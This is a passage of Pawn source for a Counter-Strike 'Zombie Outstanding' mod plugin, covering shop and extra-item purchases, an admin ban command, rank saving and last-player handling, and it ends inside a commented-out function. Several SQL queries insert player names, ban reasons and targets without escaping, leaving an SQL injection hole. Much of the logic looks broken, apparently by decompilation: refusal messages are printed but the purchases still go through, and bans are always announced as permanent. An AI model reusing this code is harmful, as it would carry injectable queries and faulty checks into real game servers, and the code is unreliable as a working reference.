			case 16:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				g_iMaxJumps[iPlayer]++;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer] + 1);
			}
			case 17:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bTryder[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bTryder[iPlayer] = true;
					strip_user_weapons(iPlayer);
					set_user_armor(iPlayer, 666);
					set_user_health(iPlayer, 666);
					give_item(iPlayer, "weapon_knife");
					give_item(iPlayer, "weapon_deagle");
					give_item(iPlayer, "weapon_xm1014");
					give_item(iPlayer, "weapon_g3sg1");
					give_item(iPlayer, "weapon_ak47");
					give_item(iPlayer, "weapon_hegrenade");
					give_item(iPlayer, "weapon_flashbang");
					give_item(iPlayer, "weapon_smokegrenade");
					cs_set_user_bpammo(iPlayer, 26, 9999);
					cs_set_user_bpammo(iPlayer, 5, 9999);
					cs_set_user_bpammo(iPlayer, 24, 9999);
					cs_set_user_bpammo(iPlayer, 28, 9999);
					g_bUnlimitedClip[iPlayer] = 1;
					set_glow(iPlayer, 19, 60, 155, 48, 255);
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					ExecuteHamB(Ham_Item_PreFrame, iPlayer);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
				}
			}
			case 18:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bGolden[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bGolden[iPlayer] = true;
					if (60 > get_user_armor(iPlayer))
					{
						set_user_armor(iPlayer, 60);
					}
					if (175 > get_user_health(iPlayer))
					{
						set_user_health(iPlayer, 175);
					}
					if (!user_has_weapon(iPlayer, 28, -1))
					{
						give_item(iPlayer, "weapon_ak47");
						cs_set_user_bpammo(iPlayer, 28, 9999);
					}
					g_bUnlimitedClip[iPlayer] = 1;
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");					
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					client_cmd(iPlayer, "weapon_ak47");
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Kalashnikov (AK-47)", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Kalashnikov^3 (AK-47)", g_cName[iPlayer]);
				}
			}
			case 19:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bGoldenDeagle[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bGoldenDeagle[iPlayer] = true;
					if (60 > get_user_armor(iPlayer))
					{
						set_user_armor(iPlayer, 60);
					}
					if (175 > get_user_health(iPlayer))
					{
						set_user_health(iPlayer, 175);
					}
					if (!user_has_weapon(iPlayer, 26, -1))
					{
						give_item(iPlayer, "weapon_deagle");
						cs_set_user_bpammo(iPlayer, 26, 9999);
					}
					g_bUnlimitedClip[iPlayer] = 1;
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					client_cmd(iPlayer, "weapon_deagle");
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Desert Eagle (Night Hawk)", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Desert Eagle^3 (Night Hawk)", g_cName[iPlayer]);
				}
			}
			case 20:
			{
				if (g_iSurvivors)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a survivor this map!");
					return 0;
				}
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static cTime[3];
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				get_time("%H", cTime, 3);
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (cTime[0] == 48)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Survivor^1 during night...");
					}
					if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartSurvivorMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
						g_iSurvivors += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 21:
			{
				if (g_iSnipers)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a sniper this map!");
					return 0;
				}
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static cTime[3];
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				get_time("%H", cTime, 3);
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (cTime[0] == 48)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Sniper^1 during night...");
					}
					if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartSniperMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
						g_iSnipers += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 22:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartNemesisMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 23:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				static i;
				static bool:bDone;
				static Float:fGameTime;
				fGameTime = get_gametime();
				bDone = true;
				i = 0;
				while (i < g_iModeRecordings)
				{
					if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
					{
						bDone = false;
					}
					i += 1;
				}
				if (!bDone)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						remove_task(550, 0);
						StartAssassinMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Assassin", g_cName[iPlayer]);
						copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
						g_iModeRecordings += 1;
					}
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
				}
			}
			case 24:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				g_iBlinks[iPlayer] += 5;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
			}
			default:
			{
			}
		}
	}
	return 0;
}

public _ShopMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					}
					if (!g_bAlive[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You should be alive!");
					}
					g_bDoubleDamage[iPlayer] = 1;
                    set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Double Damage!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Double Damage", g_cName[iPlayer]);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					SaveRank(iPlayer);
				}
			}
			case 1:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 114))
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
					}
					g_bServerSlot[iPlayer] = 1;
					client_cmd(iPlayer, "messagemode amx_password_for_slot");
                    set_task(0.2, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					SaveRank(iPlayer);
				}
			}
			case 2:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109))
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
					}
					g_bAdminModel[iPlayer] = 1;
					client_cmd(iPlayer, "messagemode amx_password_for_model");
                    set_task(0.2, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					SaveRank(iPlayer);
				}
			}
			case 3:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					g_iPacks[iPlayer] += 100;
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 100 ammo packs", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 4:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					g_iPacks[iPlayer] += 200;
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 200 ammo packs", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 5:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					g_iPacks[iPlayer] += 300;
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 300 ammo packs", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 6:
			{
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					}
					if (!g_bAlive[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You should be alive!");
					}
					g_bNoDamage[iPlayer] = 1;
					set_take_damage(iPlayer, 0);
					set_glow(iPlayer, 19, 32, 192, 255, 62);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought God Mode!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 God Mode", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			case 7:
			{
				new iAlive;
				iAlive = GetAliveCount();
				if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
				}
				else
				{
					if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					}
					if (g_bRoundStart && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
					{
						client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this feature right now!");
					}
					StartArmageddonMode(true);
					remove_task(700, 0);
					g_bRoundStart = false;
					remove_task(550, 0);
					g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Armageddon Round through points!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Armageddon Round^1 through points!", g_cName[iPlayer]);
					SaveRank(iPlayer);
				}
			}
			default:
			{
			}
		}
	}
	return 0;
}

public CmdLast(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 51))
	{
		static cAddress[24];
		static cName[32];
		static i;
		i = 0;
		while (i < g_iSize)
		{
			GetInfo(i, cName, 32, cAddress, 24);
			console_print(iPlayer, "%32s %24s", cName, cAddress);
			i += 1;
		}
	}
	return 0;
}

public CmdAddBan(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, "a"))
	{
		static Float:fGameTime;
		fGameTime = get_gametime();
		if (!floatsub(fGameTime, g_fLastBanQuery) >= 6.0)
		{
			console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
			return 1;
		}
		g_fLastBanQuery = fGameTime;
		static iTime;
		static iArgumentsCount;
		static cReason[36];
		static cTime[15];
		static cTarget[32];
		static cTargetName[32];
		read_argv(1, cTargetName, 32);
		read_argv(2, cTarget, 32);
		read_argv(3, cTime, 6);
		read_argv(4, cReason, 36);
		iTime = str_to_num(cTime);
		if (0 > iTime)
		{
			iTime = 0;
		}
		if (iTime > 175000)
		{
			iTime = 175000;
		}
		if (0 < iTime)
		{
			iTime = iTime * 60;
		}
		iArgumentsCount = read_argc();
		if (iArgumentsCount == 5 && !strlen(cReason) && !strlen(cTarget) && !strlen(cTargetName))
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
		}
		static cTimeLength[32];
		static cQuery[512];
		if (0 < iTime)
		{
			GetTimeLength(iTime / 60, cTimeLength, 32);
			formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', ( unix_timestamp( now( ) ) + %d ), '%s', unix_timestamp( now( ) ), '%s' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, iTime, cTarget, cTimeLength);
			SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, hQuery, 0);
		}
		else
		{
			formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', 0, '%s', unix_timestamp( now( ) ), 'Permanently' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, cTarget);
			SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, hQuery, 0);
		}
		if (0 < iTime)
		{
			AddCommas(iTime / 60, cTime, 14);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", g_cName[iPlayer], cTargetName, cTime, cReason);
		}
		client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", g_cName[iPlayer], cTargetName, cReason);
	}
	return 1;
}

GetZombies()
{
	static iNum;
	static i;
	iNum = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i])
		{
			iNum += 1;
		}
		i += 1;
	}
	return iNum;
}

GetHumans()
{
	static iNum;
	static i;
	iNum = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && !g_bZombie[i])
		{
			iNum += 1;
		}
		i += 1;
	}
	return iNum;
}

Float:GetEntitySpeed(iEntity)
{
	static Float:fVelocity[3];
	get_velocity(iEntity, fVelocity);
	return vector_length(fVelocity);
}

public TaskSaveRankPlayer(iPlayer)
{
	if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
	{
		formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
	}
	return 0;
}

SaveRank(iPlayer)
{
	if (g_bRanked[iPlayer] && g_bConnected[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			g_fLastQuery = fCurrentTime;
			formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
		}
		g_fLastQuery = floatadd(2.0, g_fLastQuery);
		set_task(floatsub(floatadd(2.0, g_fLastQuery), fCurrentTime), "TaskSaveRankPlayer", iPlayer, "", 0, "", 0);
	}
	return 0;
}

CheckLastPlayer(iPlayer)
{
	if (g_bRoundEnd || task_exists(550, 0))
	{
		return 0;
	}
	static i;
	static iPlayersNum;
	iPlayersNum = GetAliveCount();
	if (iPlayersNum < 2)
	{
		return 0;
	}
	if (g_bZombie[iPlayer] && GetZombies() == 1)
	{
		if (GetHumans() == 1 && GetCTs() == 1)
		{
			return 0;
		}
		do {
		} while (iPlayer == (i = GetRandomAlive()));
		client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
		if (g_iPlayerType[iPlayer] & 1)
		{
			MakeZombie(0, i, false, true, false);
			set_health(i, get_health(iPlayer));
		}
		else
		{
			if (g_iPlayerType[iPlayer] & 2)
			{
				MakeZombie(0, i, false, false, true);
				set_health(i, get_health(iPlayer));
			}
			MakeZombie(0, i, false, false, false);
		}
	}
	else
	{
		if (!g_bZombie[iPlayer] && GetHumans() == 1)
		{
			if (GetZombies() == 1 && GetTs() == 1)
			{
				return 0;
			}
			do {
			} while (iPlayer == (i = GetRandomAlive()));
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
			if (g_iPlayerType[iPlayer] & 4)
			{
				MakeHuman(i, true, false);
				set_health(i, get_health(iPlayer));
			}
			if (g_iPlayerType[iPlayer] & 8)
			{
				MakeHuman(i, false, true);
				set_health(i, get_health(iPlayer));
			}
			MakeHuman(i, false, false);
		}
	}
	return 0;
}

/*MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
	if (g_iZombieNextClass[iVictim] == -1)
	{
		menu_display(iVictim, g_iMenuZombieClasses, 0);
	}
	g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
	if (g_iZombieClass[iVictim] == -1)
	{
		g_iZombieClass[iVictim] = 0;
	}
	if (get_user_jetpack(iVictim))
	{
		user_drop_jetpack(iVictim, 1);
	}
	g_bZombie[iVictim] = true;
	set_zombie(iVictim, 1);
	g_iBurningDuration[iVictim] = 0;
	g_iPlayerType[iVictim] = 0;
	g_bNoDamage[iVictim] = false;
	remove_glow(iVictim);
	g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
	remove_task(iVictim + 200, 0);
	remove_task(iVictim + 250, 0);
	if (iAttacker)
	{
		send_death_msg(iAttacker, iVictim);
		send_score_attrib(iVictim);
		set_frags(iAttacker, get_frags(iAttacker) + 1);
		set_deaths(iVictim, get_deaths(iVictim) + 1);
		send_score_info(iAttacker);
		send_score_info(iVictim);
		g_iPacks[iAttacker]++;
		if (g_iZombieClass[iAttacker] == 6)
		{
			set_health(iAttacker, get_health(iAttacker) + 250);
			send_implosion(iAttacker);
			do_screen_fade( iAttacker, 0.60, 1.15, 255, 10, 10, 94 );
			set_glow(iAttacker, 19, 13, 255, 10, 10);
			set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
			set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
		}
		if (g_iZombieClass[iAttacker] == 3)
		{
            message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, iAttacker)
            write_short(4096)
            write_short(2048)
            write_short(0)
            write_byte(0)
